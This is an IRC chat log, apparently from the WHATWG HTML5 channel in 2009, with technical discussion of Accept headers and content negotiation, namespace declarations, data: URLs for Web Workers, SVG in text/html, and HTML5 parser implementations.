Rather than a bunch of people pointing through a marsh, perhaps the bunch of people has carefully navigated a complex path safely through the marsh, and then said "come on over here", and the hordes rush towards them in a straight line and sink, and then the bunch of people say "what's the problem? ignore the sinking hordes, we got here fine"

[02:36:00.0000] <Hixie>
that's quite a good metaphor

[02:36:01.0000] <Philip`>
jgraham: (I'm not sure I agree that facts are more effective than metaphors)

[02:41:00.0000] <Philip`>
/me can't work out whether RDFa is meant to be defined in terms of syntax (which Shane seems to say) or in terms of a tree model (which Manu seems to say)

[03:09:00.0000] <hachque>
how can i disallow the user from bolding or making new lines in a contentEditable element?

[03:17:00.0000] <annevk2>
hachque, by using scripting in one way or another

[03:17:01.0000] <annevk2>
/me isn't sure what the best way would be for this particular issue

[03:18:00.0000] <mookid>
If I specify a type on a link - does the browser set the Accept header accordingly?

[03:19:00.0000] <mookid>
<a type="application/pdf" href="/document">

[03:20:00.0000] <mookid>
is that part of the HTML5 spec?

[03:20:01.0000] <Philip`>
  No

[03:20:02.0000] <Philip`>
s/  //

[03:21:00.0000] <Philip`>
unless I'm horribly mistaken

[03:21:01.0000] <mookid>
Is there any reason that could not be ammended in the spec?

[03:22:00.0000] <mookid>
because that is how the type attribute works for style elements

[03:22:01.0000] <hsivonen>
here we go again...

[03:23:00.0000] <mookid>
I'm not asking for a new attribute I'm asking to ammend the existing attribute

[03:24:00.0000] <annevk2>
hsivonen, yeah...

[03:24:01.0000] <Philip`>
mookid: Yes

[03:24:02.0000] <mookid>
yes?

[03:24:03.0000] <Philip`>
It would break pages that currently use <a type> and also do browser sniffing based on Accept headers

[03:24:04.0000] <mookid>
those pages would presumably not upgrade to HTML5

[03:25:00.0000] <mookid>
and if they did they would test before they transitioned?

[03:25:01.0000] <Philip`>
Pages don't have a choice, because browsers aren't willing to implement separate modes for HTML4 and HTML5

[03:25:02.0000] <Philip`>
All pages get processed according to HTML5's processing rules

[03:26:00.0000] <mookid>
what's the point in the  document definition jibberish then?

[03:27:00.0000] <mookid>
if that is the case, I'm pretty sure any change you make will break something somewhere

[03:27:01.0000] <Philip`>
In HTML5, the only point is to make browsers go into standards mode instead of quirks mode

[03:27:02.0000] <mookid>
ok so that could be incorporated into quirks mode?

[03:28:00.0000] <Philip`>
Things will break, but we want to minimise that, by not making changes that we know will break things

[03:28:01.0000] <mookid>
ok..

[03:28:02.0000] <Philip`>
Lots of current pages render in standards mode (and lots in quirks mode), and HTML5 browsers ought to be compatible with all of them

[03:28:03.0000] <Philip`>
Also, quirks are evil and we don't want more of them

[03:29:00.0000] <Hixie>
s/evil/expensive/

[03:29:01.0000] <mookid>
lol..

[03:29:02.0000] <mookid>
:)

[03:29:03.0000] <mookid>
clutching at straws here a bit eh?

[03:30:00.0000] <mookid>
so can someone please explain why style and script tags use the type attribute to set the accept header

[03:30:01.0000] <mookid>
but not in link elements

[03:30:02.0000] <mookid>
and where in the spec that is specified

[03:31:00.0000] <Philip`>
/me didn't think they did set the Accept header

[03:31:01.0000] <mookid>
firefox does

[03:31:02.0000] <mookid>
unless firebug lies

[03:31:03.0000] <mookid>
Hixie: you want to clear that up for me?

[03:32:00.0000] <mookid>
please

[03:32:01.0000] <Hixie>
not especially, but i would suggest testing the difference between <script src="x">, <script src="x" type="text/javascript">, and <script src="x" type="application/ecmascript"> and seeing if the type="" attribute really has any effect

[03:36:00.0000] <mookid>
well either way it is pretty clear that the Accept header should change depending on the semantics of the hyperlink

[03:37:00.0000] <Hixie>
Accept is a hold-over from a pie-in-the-sky idea that never panned out and which should be dropped altogether

[03:37:01.0000] <mookid>
as it stands there is no way of linking to a specific representation if the URI leverages (HTTP compliant) conneg

[03:37:02.0000] <mookid>
Hixie: that is your opinion

[03:37:03.0000] <Hixie>
indeed

[03:38:00.0000] <mookid>
did it ever occur to you

[03:38:01.0000] <mookid>
that might be because the hypermedia we have in circulation

[03:38:02.0000] <mookid>
doesn't provide the mechanism to leverage it

[03:38:03.0000] <mookid>
?

[03:38:04.0000] <Hixie>
it's not because you can't leverage it, it's because it's useless

[03:38:05.0000] <mookid>
maybe we should just ignore PUT DELETE and OPTIONS aswell

[03:38:06.0000] <mookid>
nobody uses those 'in practice' either?

[03:39:00.0000] <mookid>
oh no wait

[03:39:01.0000] <Hixie>
if you have different resources, just name them different things

[03:39:02.0000] <mookid>
you're added them

[03:39:03.0000] <mookid>
that makes perfect sense.

[03:39:04.0000] <mookid>
Hixie: they aren't different resources

[03:39:05.0000] <Hixie>
that is your opinion

[03:39:06.0000] <mookid>
yes it is.

[03:39:07.0000] <Hixie>
did it ever occur to you

[03:39:08.0000] <mookid>
which is why an optional type attribute would do nobody any damage

[03:39:09.0000] <mookid>
and me a lot of good

[03:40:00.0000] <Hixie>
that since they aren't the same resource, they might in fact deserve different names?

[03:40:01.0000] <mookid>
and anyone else who's actually read and understood the HTTP spec

[03:40:02.0000] <mookid>
(i.e. not you)

[03:40:03.0000] <jgraham>
mookid: Please 

[03:40:04.0000] <Hixie>
yeah ok i'm kinda tired of you insulting me

[03:40:05.0000] <Hixie>
so this conversation is over

[03:40:06.0000] <mookid>
yeah ok well you repeat yourself and ignore what I'm saying to you

[03:40:07.0000] <Hixie>
stop coming here every other week asking for this feature

[03:40:08.0000] <mookid>
what do you expect?

[03:40:09.0000] <Hixie>
it's not going to happen

[03:41:00.0000] <Hixie>
we have a process for adding new features: http://wiki.whatwg.org/wiki/FAQ#Is_there_a_process_for_adding_new_features_to_a_specification.3F

[03:41:01.0000] <Hixie>
and no part of that process involves you insulting people on IRC

[03:41:02.0000] <Philip`>
I suggest insulting people on blogs instead

[03:41:03.0000] <mookid>
:)

[03:41:04.0000] <mookid>
ignoring people and not listening to them is rude

[03:42:00.0000] <mookid>
I don't think you understand the significance of the term 'resource' or 'representation'

[03:42:01.0000] <mookid>
they are important terms

[03:42:02.0000] <mookid>
so when you tell me two representations are two resources

[03:42:03.0000] <Philip`>
If you were being ignored, you wouldn't have generated so much conversation on IRC

[03:42:04.0000] <mookid>
and argue based on that (wrong) assumption

[03:42:05.0000] <Philip`>
You're just being disagreed with, which is a different issue

[03:42:06.0000] <mookid>
it's kind of galling Ian.

[03:43:00.0000] <mookid>
I'm not being ignored because deep down you know I'm right

[03:43:01.0000] <mookid>
:P

[03:43:02.0000] <mookid>
this is Ian's subjective opinion that URIs are Uniform Representation Identifiers

[03:43:03.0000] <mookid>
and HTTP conneg is 'useless'

[03:44:00.0000] <jgraham>
mookid: You have ignored the fact that everyone else disagrees with you. You have ignored the fact that you are using the wrong procedure to ask for what you want. And you seem to have ignored the life leson that insulting people doesn't make them more sympathetic to your cause

[03:44:01.0000] <mookid>
ok so the majority of people don't understand what a resource is

[03:44:02.0000] <mookid>
not many people read specs properly

[03:44:03.0000] <mookid>
that doesn't make me wrong

[03:45:00.0000] <Philip`>
It seems kind of like you're fixated on some specific HTTP syntax, and saying that it's impossible to implement the REST architecture without it, but that seems unrelated because there's not a 1:1 mapping between HTTP and REST anyway, so you can just implement the architecture with different syntax

[03:45:01.0000] <Philip`>
jgraham: But insulting people can be funny

[03:46:00.0000] <mookid>
I really didn't say anything that bad

[03:46:01.0000] <Philip`>
I guess that's why mpilgrim's blog is popular

[03:46:02.0000] <mookid>
get a grip. :/

[03:47:00.0000] <mookid>
this is crazy - I can implement a prefectly valid HTTP resource with multiple representations but you won't provide the mechanism to use it properly

[03:47:01.0000] <mookid>
on the basis that you don't think that part of HTTP should be there

[03:48:00.0000] <mookid>
and 'quirks are evil'

[03:48:01.0000] <mookid>
it's not even like this change actually causes any issues for 'your way'

[03:49:00.0000] <mookid>
even if the accept header changes - why does it matter if you aren't doing HTTP conneg?

[03:49:01.0000] <mookid>
it doesn't.

[03:49:02.0000] <mookid>
infact, it'll reduce the length of the header, make the HTTP message smaller - and save some trees

[03:49:03.0000] <mookid>
maaaaaaan.

[03:50:00.0000] <Philip`>
(Hmm, even http://www.ics.uci.edu/~fielding/pubs/dissertation/evaluation.htm#sec_6_3_2_7 doesn't seem to like Accept much - "In short, a server is rarely able to make effective use of preemptive negotiation")

[03:52:00.0000] <mookid>
the main barrier to that is lack of effective hypermedia

[03:52:01.0000] <Philip`>
I don't think HTTP messages are made out of trees, unless you're using a very outdated protocol

[03:52:02.0000] <mookid>
no but HTTP messages are routed and processed

[03:52:03.0000] <mookid>
if they're smaller less energy will be used to transmit them

[03:54:00.0000] <mookid>
that's irrelevant anyway - it's not an incompatible change, you have quirks mode incase some muppet is doing something super weird with the accept header

[03:55:00.0000] <mookid>
the *only* reason I've been given so far is Ian's opinion that HTTP coneg is 'wrong' and 'doesnt work'

[03:55:01.0000] <mookid>
which he justifies by clearly misinterpreting the meaning of the term 'resource'

[03:55:02.0000] <Philip`>
It takes like a microsecond for a router to process a hundred bytes of HTTP header, and if you have a trillion HTTP requests per day then that's only 10 days of processing time, so it's like 10 computers dedicated to processing the extra header for the entire world

[03:55:03.0000] <Philip`>
which isn't much

[03:56:00.0000] <mookid>
that wasn't a serious point.

[03:56:01.0000] <Philip`>
It's more interesting than serious points, though

[03:56:02.0000] <mookid>
yeah well

[03:57:00.0000] <mookid>
don't think there's any doubt about that here

[03:57:01.0000] <Philip`>
/me wonders how many HTTP requests per day there are in the world

[03:57:02.0000] <mookid>
"resources are made of cheese - you're argument is invalid"

[03:58:00.0000] <mookid>
oh ok thanks Ian

[03:58:01.0000] <mookid>
Protector of Internet Citizens from the evils of HTTP Application develoeprs

[03:59:00.0000] <mookid>
I think I'll file a bug report in the spec where you're adding PUT/DELETE to the method attribute - it's not used in practice so it's broken

[03:59:01.0000] <mookid>
when is it being added?

[03:59:02.0000] <mookid>
why^

[04:00:00.0000] <Philip`>
Hmm, http://www.thepicky.com/software/google-handles-235-million-searches-per-day/ says Google only has hundreds of millions of searches per day, which is billions of requests, and I suppose it's reasonable to imagine people do hundreds or thousands of requests before searching again

[04:02:00.0000] <mookid>
http://bitworking.org/projects/atom/draft-ietf-atompub-protocol-09.html#accept

[04:02:01.0000] <erlehmann>
Philip`, mandatory data retention laws may solve this question as soon as a sizable set leaks

[04:02:02.0000] <Lachy>
I finally got approval for TPAC. :-)

[04:03:00.0000] <Lachy>
I'll be attending

[04:03:01.0000] <Hixie>
yay

[04:03:02.0000] <Philip`>
erlehmann: Okay, I'll watch the torrent sites for a file with a petabyte of leaked daily internet traffic

[04:03:03.0000] <Hixie>
i mean, i'm sorry for you that you'll be there, but i'm glad for me that you'll be there :-P

[04:03:04.0000] <erlehmann>
Philip`, data retention is only connections, not content, so …

[04:04:00.0000] <Lachy>
haha :-D

[04:04:01.0000] <mookid>
Hixie: I apologise if I offended you by inferring you didn't understand the HTTP spec. Do you want to first have a discussion on wha tthe meaning of 'resource' is?

[04:05:00.0000] <mookid>
I didn't intend to offend you btw, I just assumed that was a correct accusation given your interpretation of 'resource'

[04:06:00.0000] <Philip`>
erlehmann: That won't help answer my question then, if it doesn't keep enough content to identify HTTP requests :-(

[04:06:01.0000] <Philip`>
(including in keepalive sessions)

[04:07:00.0000] <erlehmann>
i have not read the data retention specs, so i'm afraid i cannot answer that

[04:08:00.0000] <Philip`>
Maybe I could just ask the internet to use my computer as a proxy for a day, so I can measure the traffic accurately

[04:12:00.0000] <erlehmann>
I hereby pronounce tomorrow, the 23.09.2009 the first annuary Philip Taylor Proxy Day \o/

[04:13:00.0000] <erlehmann>
The cabal sure can help you with that, Philip` ;)

[04:13:01.0000] <hsivonen>
Hixie: has an "unselectable" attribute been considered for inclusion in HTML5?

[04:13:02.0000] <Hixie>
no

[04:13:03.0000] <Hixie>
not as far as i recall

[04:13:04.0000] <Philip`>
erlehmann: Excellent!

[04:13:05.0000] <erlehmann>
hsivonen, unse-what ? you mean not being able to get focus?

[04:14:00.0000] <Philip`>
erlehmann: I'll tell you my IP address tomorrow (it's dynamic so I'm not sure what it'll be)

[04:14:01.0000] <hsivonen>
erlehmann: I gather it's an IE thing for restricting contenteditable and/or designmode

[04:17:00.0000] <mookid>
I'm pretty sure if there was a floor in my reasoning you wouldn't hesitate to point it out :)

[04:18:00.0000] <erlehmann>
/me snickers with glee

[04:18:01.0000] <Philip`>
Hixie: "The HTML syntax does not support namespace declarations, even in foreign elements" - doesn't it support xmlns:xlink in foreign elements?

[04:19:00.0000] <Philip`>
which counts as (partial) support for namespace declarations

[04:19:01.0000] <hsivonen>
Philip`: it supports creating a namespace declaration but it doesn't support making the declaration affect processing in the parser

[04:19:02.0000] <Philip`>
plus plain xmlns in foreign elements, which is also a namespace declaration

[04:20:00.0000] <hsivonen>
so the cause and effect are reversed compared to XML

[04:20:01.0000] <Philip`>
hsivonen: That sounds like it still supports (some) namespace declarations, it just doesn't support the use of declared namespaces

[04:20:02.0000] <hsivonen>
Philip`: indeed

[04:20:03.0000] <hsivonen>
three declarations to be exact

[04:34:00.0000] <Lachy>
Hixie, this bug isn't fixed, despite you marking it resolved http://www.w3.org/Bugs/Public/show_bug.cgi?id=7506

[04:34:01.0000] <Hixie>
Philip`: it doesn't support namespace declarations in any meanginful sense

[04:35:00.0000] <Lachy>
Hixie, I wanted you to update the spec where it says "The presence of an obsolete permitted DOCTYPE." in the implementation requirements of section 12.1.1 Warnings for obsolete but conforming features.

[04:35:01.0000] <Hixie>
oh, in the implementation section

[04:35:02.0000] <Lachy>
I suggest it be ammended to say something like "The presence of an obsolete permitted DOCTYPE. (HTML only)"

[04:36:00.0000] <Hixie>
ok, doing that now

[04:36:01.0000] <Hixie>
sorry i thought you meant the previous section

[04:50:00.0000] <mookid>
is there going to be an API for doing javascript includes?

[04:51:00.0000] <mookid>
so you can have a one line script tag that boostraps a page

[04:52:00.0000] <Creap>
http://www.spicywebdesign.com/first-html-example-page-html-5-code/

[04:52:01.0000] <Creap>
heh

[04:58:00.0000] <erlehmann_>
Creap, wat

[04:59:00.0000] <Creap>
I wonder how you'd come to the conclusion that you can make up your own elements

[05:10:00.0000] <annevk2>
so I just read up on the RDFa discussion and was a bit surprised that we're still not passed xmlns being in a namespace in XML and not in HTML not being considered any kind of issue phase

[05:15:00.0000] <Hixie>
hah, bug 7594's section is #_firebugConsole

[05:26:00.0000] <Philip`>
Hixie: The syntax supports (some) namespace declarations in as meaningful a way as XML does, by parsing them into the same DOM

[05:26:01.0000] <Hixie>
i guess

[05:27:00.0000] <Hixie>
how would you phrase it?

[05:28:00.0000] <jgraham>
The key difference is that HTML doesn't support arbitary namespace declarations

[05:28:01.0000] <jgraham>
I guess

[05:29:00.0000] <Philip`>
That's like asking me for constructive comments, which is not fair

[05:29:01.0000] <jgraham>
But I don't really know which bit of the spec you are talking about

[05:29:02.0000] <Lachy>
Hixie, you're making too many checkins! I barely have enough time to reload and review the changes before the notification pops up telling me to do it again.

[05:30:00.0000] <Hixie>
hehe

[05:32:00.0000] <Philip`>
Hixie: I might just phrase it exactly like how it's phrased now, and tell people to not be pointlessly pedantic about it

[05:33:00.0000] <Hixie>
works for me!

[05:46:00.0000] <Hixie>
well, we're back to e-mails being the highest line, so i guess tomorrow i'll return to bashing on them

[05:46:01.0000] <Hixie>
nn

[05:49:00.0000] <annevk2>
we need a higher resolution graph to actually see the details of recent months :)

[05:49:01.0000] <annevk2>
on http://www.whatwg.org/issues/data.html that is

[05:50:00.0000] <Philip`>
annevk2: Use Safari and increase your desktop scaling factor and then it'll be higher resolution :-)

[05:50:01.0000] <zcorpan>
annevk2: doesn't http://www.whatwg.org/issues/data.html?period=1 work?

[05:51:00.0000] <hsivonen>
zcorpan: cool. thanks

[05:52:00.0000] <hsivonen>
the whole point of vector graphics in defeated when one zooms the page in Firefox

[05:52:01.0000] <erlehmann>
D;

[05:52:02.0000] <hsivonen>
(yes, I realize it's not really vector graphics)

[05:52:03.0000] <hsivonen>
/me thinks the graph should be in SVG

[05:52:04.0000] <annevk2>
zcorpan, ah, the feature is already present

[05:53:00.0000] <annevk2>
hsivonen, or Firefox should get a better zooming algo

[05:54:00.0000] <hsivonen>
annevk2: a better zooming algo doesn't help here

[05:54:01.0000] <hsivonen>
annevk2: either all canvases should have a hires backing buffer in case the user zooms

[05:55:00.0000] <hsivonen>
annevk2: or there should be a way to asks the page to repaint canvas to a new hires backing buffer after zooming

[05:55:01.0000] <Philip`>
Or you should use SVG if you want scalable vector graphics

[05:56:00.0000] <hsivonen>
do we have a non-game use case for <canvas> yet that shouldn't have been addressed by using a non-<canvas> solution?

[05:57:00.0000] <ROBOd>
hello everyone

[05:57:01.0000] <hsivonen>
hello

[05:57:02.0000] <zcorpan>
it seems Hixie has beaten the high score on revision activity last week

[05:57:03.0000] <ROBOd>
is there any user agent which implements <style scoped>?

[05:57:04.0000] <Philip`>
hsivonen: Maybe the Paint clone

[05:57:05.0000] <zcorpan>
v.nu implements it i think

[05:57:06.0000] <Philip`>
and things that apply custom JS filters to images/videos

[05:58:00.0000] <zcorpan>
though maybe it's not the kind if user agent you're looking for :)

[05:58:01.0000] <ROBOd>
zcorpan: indeed

[05:58:02.0000] <zcorpan>
i don't think any browser has implemented it

[05:58:03.0000] <ROBOd>
i am thinking more along the lines of gecko, webkit, presto or even trident

[05:59:00.0000] <ROBOd>
zcorpan: do you know if there are plans for it? like in dev builds of gecko/webkit/etc

[06:00:00.0000] <zcorpan>
don't know

[06:00:01.0000] <ROBOd>
oky, thanks anyway ;)

[06:01:00.0000] <zcorpan>
if you want it, file bugs

[06:02:00.0000] <ROBOd>
hm, not really sure if it fits the use-case scenario i want it for

[06:05:00.0000] <zcorpan>
/me notes that http://www.whatwg.org/issues/data.html is invalid after scripts have run

[06:10:00.0000] <mookid>
Hixie: am I allowed to comment on that bug?

[06:13:00.0000] <Lachy>
mookid, yes. Anyone is allowed to

[06:40:00.0000] <mitsuhiko>
heyho everybody

[06:40:01.0000] <mitsuhiko>
does anyone know a html5 parser written in c that is reusable?

[06:41:00.0000] <mitsuhiko>
ideally one that can emit errors and warnings and as such used for validation

[06:41:01.0000] <mookid>
err

[06:41:02.0000] <mookid>
how do you determine if a bug is resolved or not

[06:41:03.0000] <mookid>
I didn't even get a chance to respond to that and it's already closed..

[06:41:04.0000] <mookid>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=7697

[06:42:00.0000] <annevk2>
mitsuhiko, there's no standalone c implementation yet

[06:42:01.0000] <mitsuhiko>
annevk2: is anyone working on that?

[06:42:02.0000] <mitsuhiko>
and are there estimations about how complex that would be?

[06:42:03.0000] <hsivonen>
there's hubbub, but I'm not sure how up-to-date it is

[06:43:00.0000] <hsivonen>
mitsuhiko: I'm working on a C++ implementation that is Gecko-specific

[06:43:01.0000] <mitsuhiko>
basically i would love to see a live-html5 validator for firefox

[06:43:02.0000] <mitsuhiko>
there is a sgml validator already, but that one of course does not do the trick with html5 :)

[06:43:03.0000] <annevk2>
mitsuhiko, did you look into Validator.nu?

[06:44:00.0000] <mitsuhiko>
annevk2: that is quite complex to setup and requires java as far as i know

[06:44:01.0000] <mookid>
how do you guys decide whether or not an issue in the bug tracking system should be closed or not?

[06:44:02.0000] <mitsuhiko>
and sending http requests there for everything does not sound like a good idea

[06:44:03.0000] <mitsuhiko>
i'm already using validator.nu as part of my testsuite though

[06:44:04.0000] <hsivonen>
mitsuhiko: I plan to add parse error reporting eventually, but adding error reporting is at the bottom of the priority list, because it isn't needed for parity with the old parser

[06:44:05.0000] <mitsuhiko>
hsivonen: makes sense

[06:45:00.0000] <hsivonen>
the bugzilla entry is https://bugzilla.mozilla.org/show_bug.cgi?id=512229

[06:45:01.0000] <hsivonen>
also that stuff is localization-sensitive and so forth

[06:46:00.0000] <annevk2>
mitsuhiko, yeah, though hsivonen wrote a To-Mozilla-C translator of some sorts

[06:46:01.0000] <mitsuhiko>
hsivonen: i will monitor that

[06:46:02.0000] <annevk2>
mitsuhiko, and the idea is to use that new parser in Gecko in due course

[06:47:00.0000] <mitsuhiko>
isn't that one already in the nightlies?

[06:47:01.0000] <mitsuhiko>
at least there is a setting to enable a html5 parser

[06:47:02.0000] <hsivonen>
mitsuhiko: yes

[06:47:03.0000] <mitsuhiko>
guess i looked at that one yesterday then

[06:47:04.0000] <hsivonen>
mitsuhiko: the ground work of making tokenizer error reporting Gecko-friendly has been done but doesn't have Java-to-C++ translations support yet

[06:47:05.0000] <mitsuhiko>
unfortunately mozilla code still makes my eyes bleed. i don't understand that com stuff at all :(

[06:48:00.0000] <hsivonen>
mitsuhiko: the ground work for tree builder error reporting isn't done

[06:48:01.0000] <mitsuhiko>
yeah. saw that

[06:48:02.0000] <mitsuhiko>
it's not doing anything with errors currently

[06:50:00.0000] <mitsuhiko>
the sgml validator extension for firefox was the only way i could keep the pages validated, because i just don't have the time to submit all pages to an external validator website

[06:53:00.0000] <Philip`>
You could have an extension that automatically submits them to an external site and gives you the result almost immediately - would that be adequate?

[06:55:00.0000] <hsivonen>
mitsuhiko: having just an HTML5 parser doesn't give you validation

[06:56:00.0000] <mitsuhiko>
hsivonen: yes, but it's a good start for writing a validator

[06:57:00.0000] <mitsuhiko>
Philip`: would require a network connection and would slow down the whole thing a lot

[06:57:01.0000] <hsivonen>
mitsuhiko: I suggest using http://code.google.com/p/jsrelaxngvalidator/ with the schemas Validator.nu uses and porting the rest over using GWT

[07:36:00.0000] <annevk2>
http://groups.google.com/group/openweb-group is the openweb.org thing I mentioned a while back

[07:37:00.0000] <annevk2>
/me found the reference again in his email

[07:37:01.0000] <Dashiva>
http://lists.w3.org/Archives/Public/www-archive/2009Sep/0056.html

[07:37:02.0000] <Dashiva>
What's going on there?

[07:47:00.0000] <Philip`>
Dashiva: Given that it says "shaped regions for text", maybe the idea is that authors really think it's important to write pages with text wrapped inside a triangle that is morphing into a balloon over time in synchronisation with a video

[08:03:00.0000] <annevk2>
/me starts noble attempt to clean up <basefont> mess further: https://bugzilla.mozilla.org/show_bug.cgi?id=518110 & https://bugs.webkit.org/show_bug.cgi?id=29641

[08:05:00.0000] <zcorpan>
annevk2: why?

[08:06:00.0000] <TabAtkins>
Mornin', all.  (Day 11 of no internet at home ;_;)

[08:08:00.0000] <Philip`>
(If it's bad enough to make commas fall out of your eyes, surely it'd be worth finding some alternative access mechanism :-) )

[08:11:00.0000] <TabAtkins>
Still not worth it.  I'm absolutely certain that the day I buy a cellular dongle they will repair the line.

[08:11:01.0000] <beowulf>
if that's within 30 days of buying the dongle, you can return the dongle, no?

[08:12:00.0000] <TabAtkins>
Not if I've opened it.

[08:12:01.0000] <beowulf>
I think you can return it even if you've opened it, but meh

[08:13:00.0000] <TabAtkins>
omg so many emails.  This is the real tragedy of not having home internet - I don't get to clear my inbox every few hours.

[08:15:00.0000] <Philip`>
Indeed, missing out on days of public-html mail is a tragedy comparable in scope to Hamlet

[08:16:00.0000] <beowulf>
:)

[08:19:00.0000] <annevk2>
zcorpan, because it bugs me?

[08:20:00.0000] <annevk2>
future generations blaming us for not cleaning up enough of the mess of our elders haunts me :)

[08:21:00.0000] <Philip`>
They're much more likely to blame us for the new messes we're creating

[08:21:01.0000] <Philip`>
and in those cases there's nobody to shift the blame to

[08:23:00.0000] <mitsuhiko>
does html5 allow empty <ul>/<ol> tags?

[08:23:01.0000] <annevk2>
yes

[08:23:02.0000] <mitsuhiko>
\o/

[08:23:03.0000] <annevk2>
Philip`, those are harder to fix for us because we do not have the benefit of hindsight

[08:24:00.0000] <Philip`>
annevk2: Experience suggests that won't stop them blaming us for it

[08:25:00.0000] <Philip`>
so it's even more important to try to fix them :-)

[08:31:00.0000] <zcorpan>
why are light dimmers noisy?

[08:31:01.0000] <zcorpan>
that's something that bugs me

[08:36:00.0000] <zcorpan>
hmm, why can't we use data: urls for workers

[08:37:00.0000] <TabAtkins>
Do data urls have an origin?

[08:37:01.0000] <Philip`>
zcorpan: They've got to do something with the photons that are not coming out of the light, so the dimmers have a little pool of black ink for the spare photons to fall into, which causes the noise

[08:39:00.0000] <zcorpan>
Philip`: still, the noise bugs me and i'd like it if someone invented a silent dimmer

[08:39:01.0000] <Philip`>
Maybe they should make a dimmer that controls two lightbulbs in opposition, so one is bright while the other is dark

[08:39:02.0000] <Philip`>
and then there wouldn't be the problem with the spare photons

[08:40:00.0000] <Philip`>
(Is it the dimmer itself that's noisy, or the bulb?)

[08:40:01.0000] <zcorpan>
TabAtkins: yeah, they do

[08:41:00.0000] <TabAtkins>
zcorpan: Interesting.  Is it the originating page?  Everything I know about data urls I learned from wikipedia.

[08:41:01.0000] <zcorpan>
Philip`: the dimmer

[08:42:00.0000] <Philip`>
zcorpan: Okay - not sure what would actually cause that

[08:42:01.0000] <zcorpan>
TabAtkins: http://www.whatwg.org/specs/web-apps/current-work/multipage/origin-0.html#origin-0

[08:42:02.0000] <Philip`>
/me doesn't think he's ever experienced that problem himself

[08:43:00.0000] <zcorpan>
Philip`: i've had several dimmers and all of them have been noisy

[08:44:00.0000] <TabAtkins>
zcorpan: Ah, so the origin is just a guid, if I'm reading correctly.  Makes sense.

[08:44:01.0000] <zcorpan>
TabAtkins: yeah

[08:44:02.0000] <zcorpan>
but i don't want to have to use another file for workers

[08:45:00.0000] <zcorpan>
maybe i can put the script in a comment at the top of the html and use new Worker('')

[08:45:01.0000] <TabAtkins>
Is workers a separate spec now?

[08:45:02.0000] <TabAtkins>
/me is trying to find it.

[08:45:03.0000] <zcorpan>
always been

[08:45:04.0000] <zcorpan>
whatwg.org/ww

[08:46:00.0000] <TabAtkins>
Man, I'm all kinds of behind.  I've been keeping up with workers, but only in an abstract sense - I don't expect to be using them for a while still.

[08:47:00.0000] <TabAtkins>
Oh, so it's what I thought - the restriction on data: workers is indeed origin-based.

[08:47:01.0000] <zcorpan>
yes

[08:47:02.0000] <TabAtkins>
Ok, so now I'm caught up to your question.  ^_^

[08:48:00.0000] <TabAtkins>
I'd like a data: worker too.  While the origin is officially different, in practice it should have the same level of trust as the page itself.

[08:49:00.0000] <zcorpan>
yeah

[08:49:01.0000] <zcorpan>
or maybe...

[08:50:00.0000] <zcorpan>
<script type=text/x-worker id=worker>...</script> <script>var w = new Worker('#worker')</script>

[08:50:01.0000] <TabAtkins>
Interesting.

[08:50:02.0000] <TabAtkins>
Can you do an importScripts with a data url?

[08:51:00.0000] <TabAtkins>
/me isn't sure that would be useful.

[08:51:01.0000] <Philip`>
If data URLs have a unique origin, does that mean ctx.drawImage(Image with src = canvas.toDataURL()) should now mark the canvas as tainted?

[08:51:02.0000] <Philip`>
/me doesn't remember what data URL origins were defined to be when he last checked this, and concluded that it shouldn't taint the canvas

[08:52:00.0000] <zcorpan>
Philip`: no

[08:52:01.0000] <zcorpan>
Philip`: origin for images and documents special-case data:

[08:52:02.0000] <Philip`>
Oh, okay

[08:59:00.0000] <brucel>
Hey cabal: a repeat question and a[nother] stupid question.

[09:00:00.0000] <brucel>
1: is there a friendly explanationn of the new content types anywhere (am not relishing trying to write one for html5doctor)

[09:00:01.0000] <brucel>
2: got an example of svg in html5 that works and is valid? I want to reassure some people that you haven't killed SVG

[09:01:00.0000] <Philip`>
Do you mean all new content-types defined/used by HTML5, or just text/html vs application/xhtml+xml?

[09:02:00.0000] <brucel>
Philip had an email asking for explanation of flow, interactive, embedded etc

[09:03:00.0000] <Philip`>
brucel: http://hsivonen.iki.fi/test/svg-and-mathml-in-html.html has SVG in text/html, and if the validator says it's invalid then hsivonen should fix something

[09:03:01.0000] <Philip`>
brucel: Oh, I thought you meant HTTP content-types

[09:03:02.0000] <Philip`>
rather than what HTML5 seemingly calls content models

[09:04:00.0000] <Philip`>
Does http://www.whatwg.org/specs/web-apps/current-work/multipage/images/content-venn.svg not make it trivially obvious?

[09:04:01.0000] <Philip`>
Clearly content models are like an amoeba

[09:05:00.0000] <Philip`>
brucel: (Any SVG in application/xhtml+xml should be just as valid as it always has been)

[09:05:01.0000] <brucel>
Philip, well, of course it's trivially obvious to *me* (ahem...)

[09:06:00.0000] <brucel>
Philip, but SVG in an html5 doc , served as text/html

[09:10:00.0000] <hsivonen>
brucel: Validator.nu says SVG-in-text/html is invalid in order to discourage authors from using it before browsers are ready.

[09:11:00.0000] <hsivonen>
brucel: yes, it would be better to have a message that says so instead of having a message that says SVG isn't allowed

[09:11:01.0000] <hsivonen>
brucel: (and also, it's spec-wise proper for a validator to say it's invalid if the validator developer opted not to invoke the "other relevant specifications" clause for SVG)

[09:11:02.0000] <brucel>
hsivonen wasn't gonna nag you; am simply looking for an example of how to do it. Do I just take my conforming SVG (without doctype) and put it into an html5 page?

[09:13:00.0000] <hsivonen>
brucel: as it stands, you also need to zap the foreign-namespace cruft from Inkscape or Illustrator (which is totally inconvenient)

[09:13:01.0000] <hsivonen>
brucel: and zap Illustrator-emitted namespace-URIs-as-entities

[09:17:00.0000] <Philip`>
You can always put the SVG in an <object> if you want

[09:17:01.0000] <Philip`>
which is probably the best approach unless you have a good reason for wanting it to be inline

[09:25:00.0000] <brucel>
Ta all. Not sure I'm any the wiser about an html5 doc with svg inside it, tho

[09:35:00.0000] <Philip`>
Hmm, I think html5lib might have broken pyRdfa

[09:36:00.0000] <Philip`>
because it seems pyRdfa no longer recognises xmlns:* attributes

[09:40:00.0000] <Philip`>
because html5lib passes it xmlnsU0003A attributes instead

[09:41:00.0000] <gsnedders>
With what treebuilder?

[09:43:00.0000] <Philip`>
/me shrugs

[09:44:00.0000] <Philip`>
parser = html5lib.HTMLParser(tree=treebuilders.getTreeBuilder("dom"))

[09:44:01.0000] <zcorpan>
does html5lib apply the coercion rules by default?

[09:44:02.0000] <gsnedders>
IIRC no

[09:45:00.0000] <jgraham>
In DOM I think it does

[09:45:01.0000] <jgraham>
For some reason

[09:45:02.0000] <jgraham>
Possibly because of gsnedders

[09:45:03.0000] <gsnedders>
minidom b0rkedness, I bet

[09:45:04.0000] <gsnedders>
/me claims innocence

[09:45:05.0000] <jgraham>
That might be the wrong thing to do

